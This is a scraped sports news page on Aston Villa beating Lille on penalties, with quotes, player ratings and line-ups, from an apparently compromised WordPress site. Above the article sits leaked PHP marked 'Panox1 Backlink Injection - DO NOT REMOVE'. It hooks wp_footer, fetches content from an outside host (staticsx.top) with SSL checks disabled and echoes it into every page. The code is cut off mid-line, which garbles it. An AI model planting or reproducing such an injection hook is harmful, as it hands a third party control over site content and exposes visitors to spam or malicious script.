// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Villa thought Martinez had been sent off before penalty heroics in win – Next Sports News

Villa thought Martinez had been sent off before penalty heroics in win

[ad_1]

Aston Villa players celebrate after beating Lille in the Europa Conference League

Aston Villa boss Unai Emery thought Emiliano Martinez had been sent off in a chaotic penalty shootout against Lille before the goalkeeper made the save that sent his side through to their first major European semi-final since 1982.

In an extraordinary shootout after the tie ended 3-3 on aggregate after extra time, Villa keeper Martinez – who had been booked earlier for time-wasting – was shown another yellow card for appearing to gesture to home fans.

Martinez, who had already kept out Nabil Bentaleb’s penalty, was allowed to carry on as his initial booking was not carried over into the shootout.

The Argentina World Cup winner then went on to keep out Benjamin Andre’s attempt as Villa won 4-3 on penalties to advance to the last four.

Martinez then ran virtually the whole length of the pitch to celebrate in front of Villa’s jubilant 2,600 travelling fans.

Asked whether he and his players thought Martinez had been dismissed in the shootout, Emery said: “Yes. He is very important for us.

“On the pitch he has his personality and he played fantastic. He saved two penalty shots so of course I am very proud of him.”

Earlier in the shootout, Ollie Watkins was made to wait to take his penalty as there were two balls on the pitch before the England forward stepped up to score.

On a dramatic night in northern France, Emery’s side were three minutes from going out after goals by Yusuf Yazici and Benjamin Andre wiped out Villa’s 2-1 advantage from the first leg.

But Matty Cash’s 87th-minute deflected strike – after goalkeeper Lucas Chevalier had dropped a cross – made it 3-3 on aggregate and forced extra time which did not produce any further goals leaving the tie to be decided by penalties.

Aston Villa will face the winners of Olympiakos against Fenerbahce in the semi-final. They were playing later on Thursday, with Olympiakos leading 3-2 from the first leg.

Martinez ignores the jeers

Martinez had been jeered throughout the game by Lille fans after his penalty heroics in Argentina’s World Cup final victory over France in 2022.

He was shown his first yellow card of the game in the first half for time-wasting, and there was confusion inside the ground when the Villa keeper was allowed to carry on after being booked again during the shootout – as the rules state yellow cards are not carried over into penalties.

“Yesterday you [the media] were all asking me about the reception he [Martinez] will get here in France and you could see it throughout the game,” added Emery.

“He is very experienced and he was trying to control his emotions but the supporters were pushing him. I believe in him and he is mature but with personality. He is always under his own control.”

Martinez defended his actions after the game.

“It’s all about reputation for time-wasting because the other goalie was doing exactly the same thing,” he told TNT Sports.

“I got a yellow after 30 minutes and we were losing the game so I don’t know what the ref wants from me.

“Then there was no ball in the penalty spot and I was asking for a ball from the ball boy and I get booked; I just don’t understand the rules.

“I am a believer and a hard worker and it was my destiny today.”

It all added to the drama as Villa dug deep to ensure one English club will compete in a European semi-final this season after Manchester City and Arsenal were knocked out of the Champions League on Wednesday, and Liverpool and West Ham exited the Europa League on Thursday.

This was not Villa’s finest display by any stretch of the imagination but they managed to stay in the tie when 2-0 down before Cash provided a late lifeline.

The Europa Conference League might be Uefa’s third-tier competition but Villa are enjoying the ride.

By staying in it, they remain on course for a top-four finish in the Premier League and a first major European trophy for 42 years in Emery’s first full season in charge.

Player of the match

E MartínezEmiliano Martínez

with an average of 7.63

Lille

  1. Squad number12Player nameYazici

    Average rating

    6.23

  2. Squad number5Player nameGudmundsson

    Average rating

    6.04

  3. Squad number30Player nameChevalier

    Average rating

    6.01

  4. Squad number6Player nameBentaleb

    Average rating

    5.97

  5. Squad number22Player nameTiago Santos

    Average rating

    5.96

  6. Squad number21Player nameAndré

    Average rating

    5.95

  7. Squad number9Player nameDavid

    Average rating

    5.95

  8. Squad number15Player nameYoro

    Average rating

    5.85

  9. Squad number18Player nameDiakité

    Average rating

    5.85

  10. Squad number7Player nameHaraldsson

    Average rating

    5.84

  11. Squad number10Player nameCabella

    Average rating

    5.84

  12. Squad number17Player nameIvan Cavaleiro

    Average rating

    5.77

  13. Squad number31Player nameIsmaily

    Average rating

    5.76

  14. Squad number8Player nameGomes

    Average rating

    5.63

Aston Villa

  1. Squad number1Player nameE Martínez

    Average rating

    7.63

  2. Squad number2Player nameCash

    Average rating

    6.98

  3. Squad number31Player nameBailey

    Average rating

    6.96

  4. Squad number14Player nameP Torres

    Average rating

    6.85

  5. Squad number4Player nameKonsa

    Average rating

    6.82

  6. Squad number7Player nameMcGinn

    Average rating

    6.80

  7. Squad number11Player nameWatkins

    Average rating

    6.78

  8. Squad number24Player nameDurán

    Average rating

    6.67

  9. Squad number6Player nameDouglas Luiz

    Average rating

    6.52

  10. Squad number8Player nameTielemans

    Average rating

    6.41

  11. Squad number12Player nameDigne

    Average rating

    6.41

  12. Squad number27Player nameRogers

    Average rating

    6.40

  13. Squad number19Player nameDiaby

    Average rating

    6.06

  14. Squad number22Player nameZaniolo

    Average rating

    5.85

Line-ups

Lille

Formation 4-2-3-1

30Chevalier

22Carvalho Santos15Yoro18Diakité31Gonçalves dos Santos

21André6Bentaleb

12Yazici7Haraldsson5Gudmundsson

9David

  • 30Chevalier
  • 22Carvalho Santos
  • 15Yoro
  • 18Diakité
  • 31Gonçalves dos Santos
  • 21AndréBooked at 43mins
  • 6BentalebBooked at 42mins
  • 12YaziciSubstituted forNeves Abreu Cavaleiroat 86′minutes
  • 7HaraldssonSubstituted forGomesat 77′minutesBooked at 117mins
  • 5GudmundssonSubstituted forCabellaat 90′minutes
  • 9David

Substitutes

  • 1Mannone
  • 4de Souza Ribeiro
  • 8Gomes
  • 10Cabella
  • 11Ounas
  • 17Neves Abreu Cavaleiro
  • 19Fontoura da Fonseca Morais
  • 33Bouaddi
  • 36Touré
  • 38Ferrah
  • 40Negrel

Aston Villa

Formation 4-4-2

1E Martínez

2Cash4Konsa14P Torres12Digne

7McGinn8Tielemans6Douglas Luiz22Zaniolo

19Diaby11Watkins

  • 1E MartínezBooked at 122mins
  • 2Cash
  • 4Konsa
  • 14P Torres
  • 12DigneBooked at 61mins
  • 7McGinnSubstituted forDuránat 80′minutesBooked at 90mins
  • 8Tielemans
  • 6Douglas Luiz
  • 22ZanioloBooked at 21minsSubstituted forRogersat 28′minutesBooked at 76mins
  • 19DiabySubstituted forBaileyat 68′minutes
  • 11WatkinsBooked at 109mins

Substitutes

  • 3Diego Carlos
  • 17Lenglet
  • 18Gauci
  • 24Durán
  • 25Olsen
  • 27Rogers
  • 29Kesler-Hayden
  • 31Bailey
  • 47Iroegbunam
  • 69Munroe
  • 71Kellyman
Referee:
Ivan Kruzliak

Match Stats

Live Text

Post update

Match ends, Lille 2(3), Aston Villa 1(4).

  • Adblock test (Why?)

    [ad_2]

    Source link

    Reply